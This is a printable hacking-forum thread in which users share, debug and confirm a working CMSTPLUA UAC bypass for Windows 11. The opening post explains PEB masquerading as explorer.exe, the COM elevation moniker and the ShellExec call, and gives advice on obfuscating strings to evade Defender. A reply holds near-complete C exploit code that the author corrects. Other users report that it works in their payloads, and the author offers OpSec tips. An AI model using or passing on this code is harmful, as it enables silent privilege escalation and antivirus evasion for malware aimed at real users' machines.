![]() |
||||||
|
New UAC Bypass (CMSTPLUA) - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45) +--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447) +---- Forum: Blackhat Training (https://hackforums.net/forumdisplay.php?fid=405) +---- Thread: New UAC Bypass (CMSTPLUA) (/showthread.php?tid=6318162) Pages: Pages
1
2
|
||||||
New UAC Bypass (CMSTPLUA) - WinGV - Jan 20, 2026 CMSTPLUA UAC Bypass - How It Actually Works Windows 11 25H2 | No Exploits Required | Tested January 2026 ★ INTRODUCTION So for my first post on this forum, I decided to gift you with sharing a very nice UAC bypass that I use since quite a long time now... I didn't find it on the forum, so here's my contribution : UAC (User Account Control) is supposed to prevent unauthorized privilege escalation. But Windows has a design flaw: certain Microsoft COM objects are auto-elevated, meaning they can run with admin privileges without showing a UAC prompt. CMSTPLUA is one of these trusted objects. BUT, Windows checks if the calling process is a legitimate Microsoft binary before allowing the elevation. So we need to impersonate a trusted process. ★ WHY CMSTPLUA? CMSTPLUA (Connection Manager Setup Tool Profile Launcher Utility Application) was designed for network connection profile management. Microsoft marked it as "safe" for auto-elevation because it's part of Windows infrastructure. The object exposes a ShellExec method that can launch any program — and because the COM object is elevated, that program inherits admin privileges. Code CLSID: {3E5FC7F9-9A51-4367-9063-A120244FBEC7}The attack: If we can convince Windows we're explorer.exe, we can use CMSTPLUA to launch anything as admin. ★ STEP 1: PEB MASQUERADING Every Windows process has a Process Environment Block (PEB) — a structure in memory containing process metadata. This includes the ImagePathName field, which stores the path to the executable. Here's the trick: the PEB lives in user-space memory, meaning our own process can modify it. We simply overwrite the ImagePathName from our actual path to C:\Windows\explorer.exe. Code // Access PEB via TEB (Thread Environment Block)When Windows later checks "who is asking for elevation?", it reads our PEB and sees explorer.exe — a trusted path. The check passes. Quote:This doesn't change what binary is actually running — it just changes what the process claims to be. ★ STEP 2: COM ELEVATION MONIKER Windows COM supports elevation monikers — a special syntax that requests elevated instantiation of a COM object: Code Elevation:Administrator!new:{CLSID-HERE}When we call CoGetObject() with this moniker and the CMSTPLUA CLSID, Windows:
Code // Build elevation moniker and get elevated COM objectWe now have a handle to an elevated COM object. ★ STEP 3: EXECUTE WITH PRIVILEGES CMSTPLUA's interface includes a ShellExec method at vtable index 9. This method launches programs in the security context of the COM object — which is elevated. Code // ICMLuaUtil vtable structure (partial)We call ShellExec with our own executable path plus a flag (like -elevated), causing our program to relaunch itself, but now with admin privileges. Code // Execute program with elevated privilegesNo UAC prompt ever appears. ★ THE COMPLETE FLOW Code [1] Our process starts (non-admin)Code int main(int argc, char* argv[]) {NOTE: We save the path before masquerading because GetModuleFileName() reads from PEB — after masquerade it would return the fake path! ★ WHY THIS BYPASSES DEFENDER The technique avoids several detection triggers:
String obfuscation example to avoid static signatures: Code // BAD: Detectable string in binary★ DETECTION VECTORS (FOR DEFENDERS)
Code # ETW trace for COM elevation monikersFull PoC code joined. It might get detected on compiling or runtime. You might need to obfuscate a little bit. RE: New UAC Bypass (CMSTPLUA) - Terry A. Davis - Jan 20, 2026 Not sure if this is overly unique. Seems to be the same method, 2 years after this guy. RE: New UAC Bypass (CMSTPLUA) - WinGV - Jan 20, 2026 (Jan 20, 2026 04:57 PM)Terry A. Davis Wrote: Not sure if this is overly unique. It is indeed. And years before "this guy" there were also 50+ other working bypass methods here (that worked already 5-10 years ago, including CMSTPLUA): github.com/hfiref0x/UACME It was not on this forum, and is still perfectly working, so why not sharing it ? RE: New UAC Bypass (CMSTPLUA) - Terry A. Davis - Jan 20, 2026 (Jan 20, 2026 05:11 PM)WinGV Wrote: It is indeed. And years before "this guy" there were also 50+ other working bypass methods here (that worked already 5-10 years ago, including CMSTPLUA): github.com/hfiref0x/UACME Because when I was reading it, it seemed jazzed up by using AI and changed enough to not be considered plagiarism. RE: New UAC Bypass (CMSTPLUA) - WinGV - Jan 20, 2026 (Jan 20, 2026 05:12 PM)Terry A. Davis Wrote: Because when I was reading it, it seemed jazzed up by using AI and changed enough to not be considered plagiarism. It's changed because that's the code I was using in my PE. So we're not allowed to share old working approaches on the forum without being flamed ? Are you expecting 0-days on HF ? In that case there are countless of other contributions you could mark as "plagiarism" on the forum. RE: New UAC Bypass (CMSTPLUA) - UNST0P4B1E - Jan 21, 2026 I tried to make it using your step, but it wouldn't work I think it because Windows won't let me use ICMLuaUtil interface, because when I execute it " pUtil* " is NULL, idk if im doing something wrong or Windows just flag it, btw im on Win11 int main() { HANDLE hProc = GetCurrentProcess(); PPEB pPEB; PROCESS_BASIC_INFORMATION pbi; WCHAR fakePath[] = L"C:\\Windows\\explorer.exe"; WCHAR selfPath[MAX_PATH]; GetModuleFileNameW(NULL, selfPath, MAX_PATH); NtQueryInformationProcess(hProc, ProcessBasicInformation, &pbi, sizeof(pbi), nullptr); pPEB = (PPEB)pbi.PebBaseAddress; printf("pPEB : %p\n", (void*)pPEB); wcsncpy(pPEB->ProcessParameters->ImagePathName.Buffer, fakePath, MAX_PATH); wcsncpy(pPEB->ProcessParameters->CommandLine.Buffer, fakePath, MAX_PATH); HRESULT hr; CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); BIND_OPTS3 opts; ZeroMemory(&opts, sizeof(opts)); opts.cbStruct = sizeof(BIND_OPTS3); opts.dwClassContext = CLSCTX_LOCAL_SERVER; IID iid = { 0x6EDD6D74, 0xC007, 0x4E75, {0xB7,0x6A,0xE5,0x74,0x09,0x95,0xE2,0x4C} }; WCHAR out[67] = L"Elevation:Administrator!new:{"; WCHAR p1[] = { '{','3','E','5','F','C','7','F','9','-',0 }; WCHAR p2[] = { '9','A','5','1','-',0 }; WCHAR p3[] = { '4','3','6','7','-',0 }; WCHAR p4[] = { '9','0','6','3','-',0 }; WCHAR p5[] = { 'A','1','2','0','2','4','4','F','B','E','C','7','}',0 }; wcscat(out, p1); wcscat(out, p2); wcscat(out, p3); wcscat(out, p4); wcscat(out, p5); wcscat(out, L"}"); printf("out : %ls\n", out); ICMLuaUtil* pUtil = NULL; hr = CoGetObject(out, (BIND_OPTS*)&opts, iid, (void**)&pUtil); if (FAILED(hr) || !pUtil) { // gérer l’erreur CoUninitialize(); return 1; } pUtil->lpVtbl->ShellExec(pUtil, L"C:\\Windows\\System32\\cmd.exe", L"-elevated", NULL, 0, SW_SHOW); pUtil->lpVtbl->ShellExec(pUtil, selfPath, L"-elevated", NULL, 0, SW_SHOW); pUtil->lpVtbl->Release(pUtil); CoUninitialize(); return 0; } RE: New UAC Bypass (CMSTPLUA) - CoCoCHanel - Jan 22, 2026 dont work RE: New UAC Bypass (CMSTPLUA) - WinGV - Jan 22, 2026 (Jan 21, 2026 01:15 PM)UNST0P4B1E Wrote: I tried to make it using your step, but it wouldn't work I think it because Windows won't let me use hey ! thanks for your interest. I can see 2 major flaws in the code you posted. First there is a double opening/closing brace here: WCHAR out[67] = L"Elevation:Administrator!new:{"; Already has '{' WCHAR p1[] = { '{','3','E','5','F','C','7','F','9','-',0 }; Starts with '{' again then WCHAR p5[] = { 'A','1','2','0','2','4','4','F','B','E','C','7','}',0 }; Already has '}' wcscat(out, L"}"); Adds another '}' resulting in Elevation:Administrator!new:{{3E5FC7F9-9A51-4367-9063-A120244FBEC7}} when COM moniker expects excatly this format : Elevation:Administrator!new:{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX} 2nd bug is a missing & before iid : hr = CoGetObject(out, (BIND_OPTS*)&opts, iid, (void)&pUtil); should be hr = CoGetObject(out, (BIND_OPTS*)&opts, &iid, (void**)&pUtil); There is another issue in the code you shared, but it's more of OpSec concern : you left a "// gérer l’erreur" hanging around, meaning you're most likely french speaker. I'm allowing myself to tell you here in public because I noticed you're a new account and it doesn't really matter, but be careful in the future ;) Let me know if you need any more help with the method. Cheers ! (Jan 22, 2026 05:17 AM)CoCoCHanel Wrote: dont work Care to elaborate ? What is not working exactly ? Any error message ? RE: New UAC Bypass (CMSTPLUA) - UNST0P4B1E - Jan 22, 2026 no suitable constructor exists to convert from "IID *" (aka "_GUID *") to "_GUID" When i try to put "&" on the IDD RE: New UAC Bypass (CMSTPLUA) - WinGV - Jan 23, 2026 (Jan 22, 2026 12:44 PM)UNST0P4B1E Wrote: no suitable constructor exists to convert from "IID *" (aka "_GUID *") to "_GUID" Strange. It looks like a compiler problem. Are you using C ? The PoC I built is written in C, but should also work in C++, with slightly different syntax, that might be the issue there. RE: New UAC Bypass (CMSTPLUA) - UNST0P4B1E - Jan 23, 2026 Ohhh maybe I try thank bro, the bypass work perfect RE: New UAC Bypass (CMSTPLUA) - shasu - Jan 23, 2026 Thanks a lot ! I tried the PoC and it works. That's gonna up my little PEs ! RE: New UAC Bypass (CMSTPLUA) - WinGV - Jan 23, 2026 (Jan 23, 2026 07:48 AM)UNST0P4B1E Wrote: Ohhh maybe I try Amazing ! Glad to hear you succeded. RE: New UAC Bypass (CMSTPLUA) - ryewx1 - Apr 26, 2026 it works nicely RE: New UAC Bypass (CMSTPLUA) - OtterLover - Apr 28, 2026 GOOD is WOrk |